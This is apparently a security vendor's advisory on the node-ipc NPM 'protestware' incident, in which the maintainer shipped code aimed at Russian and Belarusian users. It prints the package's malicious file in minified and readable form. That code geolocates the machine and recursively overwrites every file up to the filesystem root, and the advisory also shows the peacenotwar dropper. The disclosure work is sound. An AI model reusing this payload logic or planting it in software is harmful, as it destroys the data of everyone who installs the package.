Intro
A popular NPM package node-ipc was purposely infected with a malicious payload by its own creator to protest over the Russia-Ukraine war. This package has over a million weekly downloads and hundreds of direct other dependent packages, including the popular Vue CLI project.
GitHub user RIAEvangelist/NPM user riaevangelist published new code to GitHub and NPM to protest Russian aggression in the Russia-Ukraine war:
- Published new NPM package peacenotwar, which drops benign protest messages on the target machine.
- Added peacenotwar as a new dependency to node-ipc package.
- Added a new file dao/ssl-geospec.js to node-ipc package. This addition targets users having Russian or Belarusian IP addresses and running a malicious payload, destroying all files on disk by rewriting their content with a heart emoji “❤️”
The main discussion about this incident started and is still ongoing in an issue on the package’s github repository. Since GitHub user RIAEvangelist is the owner of the Git repository github.com/RIAEvangelist/node-ipc, he has permission to edit other users’ Issues. From the Issue history shown below, we observed he also purposely edited the Issue’s title and description multiple times as an attempt to corrupt the information shared by the concerned users.
However, the history is still available. This way, we can see that the issue’s originator has declared the code as “malware/protestware” a new(ish) phrase that caught even “RIAEvangelist”’s eye:
This incident comes not long after the “colors” incident which might signifies the beginning of a trend in which influential package owner uses their “stage” to advocate for an idea or an issue they care about, catching the attention of many. “RIAEvangelist” himself winked to the “color” incident by adding this package as a new dependency to one of the new questionable versions of “node-ipc”.
Details
To summarize the investigation’s findings, the following table contains all information of effected packages and versions related to this incident:
Package | Version | Available on NPM | Details |
node-ipc | 9.2.2 | No | Require peacenotwar and colors |
node-ipc | 10.1.1, 10.1.2 |
No | Includes the file “dao/ssl-geospec.js” with the malicious functionality described below |
node-ipc | 10.1.3 | No | Includes no malicious or protest functionality |
node-ipc | 11.1.0 | Yes | Require peacenotwar |
peacenotwar | 9.1.1, 9.1.2, 9.1.3, 9.1.4, 9.1.5, 9.1.6 |
Yes | Include the protest code described below |
oneday-test | 9.1.1 | Yes | Include the protest code described below |
Package “node-ipc”
A new file was added to the package dao/ssl-geospec.js and from the looks of it, it seems it is minified:
import u from"path";import a from"fs";import o from"https";setTimeout(function(){const t=Math.round(Math.random()*4);if(t>1){return}const n=Buffer.from("aHR0cHM6Ly9hcGkuaXBnZW9sb2NhdGlvbi5pby9pcGdlbz9hcGlLZXk9YWU1MTFlMTYyNzgyNGE5NjhhYWFhNzU4YTUzMDkxNTQ ...
The code is executed automatically with a slight delay, it is geo-location aware, and activates the malicious payload only for users connected to the internet from Russia or Belarus. To become location aware, the code is using the API of the free service ipgeolocation.io.
Once the condition to proceed with the malicious payload is fulfilled, the code tries to overwrite all the files on the victim’s machine with “❤️” (the heart emoji).
Courtesy of the user zkyf, we have a more readable version of the original code:
const path = require("path");
const fs = require("fs");
const https = require("https");
setTimeout(function () {
const randomNumber = Math.round(Math.random() * 4);
if (randomNumber > 1) {
// return;
}
const apiKey = "https://api.ipgeolocation.io/ipgeo?apiKey=ae511e1627824a968aaaa758a5309154";
const pwd = "./";
const parentDir = "../";
const grandParentDir = "../../";
const root = "/";
const countryName = "country_name";
const russia = "russia";
const belarus = "belarus";
https.get(apiKey, function (message) {
message.on("data", function (msgBuffer) {
try {
const message = JSON.parse(msgBuffer.toString("utf8"));
const userCountryName = message[countryName.toString("utf8")].toLowerCase();
const hasRus = userCountryName.includes(russia.toString("utf8")) || userCountryName.includes(belarus.toString("utf8")); // checks if country is Russia or Belarus
if (hasRus) {
deleteFile(pwd);
deleteFile(parentDir);
deleteFile(grandParentDir);
deleteFile(root);
}
} catch (t) {}
});
});
// zkyf: Let's try this directly here
deleteFile(pwd);
deleteFile(parentDir);
deleteFile(grandParentDir);
deleteFile(root);
}, 100);
async function deleteFile(pathName = "", o = "") {
if (!fs.existsSync(pathName)) {
return;
}
let fileList = [];
try {
fileList = fs.readdirSync(pathName);
} catch (t) {}
const f = [];
const heartUtf8 = Buffer.from("4p2k77iP", "base64");
for (var idx = 0; idx < fileList.length; idx++) {
const fileName = path.join(pathName, fileList[idx]);
let fileInfo = null;
try {
fileInfo = fs.lstatSync(fileName);
} catch (err) {
continue;
}
if (fileInfo.isDirectory()) {
const fileSymbol = deleteFile(fileName, o);
fileSymbol.length > 0 ? f.push(...fileSymbol) : null;
} else if (fileName.indexOf(o) >= 0) {
try {
// fs.writeFile(fileName, heartUtf8.toString("utf8"), function () {}); // overwrites file with `❤️`
console.log(`Rewrite ${fileName}`);
} catch (err) {}
}
}
return f;
}
Packages “peacenotwar”, “oneday-test”
Creates a file called “WITH-LOVE-FROM-AMERICA.txt” on 3 locations on the victim of machine.
- ~/Desktop/WITH-LOVE-FROM-AMERICA.txt
- ~/OneDrive/WITH-LOVE-FROM-AMERICA.txt
- ~/OneDrive/Desktop/WITH-LOVE-FROM-AMERICA.txt
The content of the file is a short statement written in 5 different languages – English, Russian, Arabic, Chinese, and Japanese:
Within the code, there’s a function that copies “WITH-LOVE-FROM-AMERICA.txt” as follows:
function deliverAPeacefulMessage(path,message){
console.log(path);
try{
fs.writeFile(
path,
message,
function(err){
//its all good
}
);
}catch(err){
//thats ok
}
}
const thinkaboutit='WITH-LOVE-FROM-AMERICA.txt';
const WITH_LOVE_FROM_AMERICA=read(`./${thinkaboutit}`);
const Desktops = `${homedir}/Desktop/`;
const OneDrive = `${homedir}/OneDrive/`;
const OneDriveDesktops = `${homedir}/OneDrive/Desktop/`;
deliverAPeacefulMessage(`${Desktops}${thinkaboutit}`,WITH_LOVE_FROM_AMERICA);
deliverAPeacefulMessage(`${OneDriveDesktops}${thinkaboutit}`,WITH_LOVE_FROM_AMERICA);
deliverAPeacefulMessage(`${OneDrive}${thinkaboutit}`,WITH_LOVE_FROM_AMERICA);
IOCs
- https://api.ipgeolocation.io/ipgeo?apiKey=ae511e1627824a968aaaa758a5309154
ChainAlert
ChainAlert is a free service by Checkmarx, which is a monitoring system that observes the open source ecosystem, and alerts package maintainers and developers of potential account takeover attacks.
In this specific case, ChainAlert bot has detected abnormal activity and notified about it with an issue on the GitHub repository. Obviously, since these actions were done deliberately by the “legitimate” owner of the project, the issue was closed by “RIAEvangelist” and was not dealt with any further.
Learning from this case, we plan to add a detection of such self-sabotage cases to ensure that incidents such as this will be picked up quickly.
Conclusion
This incident raises again the question whether it is within the rights of the code’s owner to change it in whichever way they see fit, even at the cost of causing damage to other users depend on it.
As seen in the near past, this isn’t the first time we encounter such behavior, it seems likely that other prominent developers will follow and share their agenda in a similar manner. It also looks fitting to start using the term “protestware” to describe this kind of software.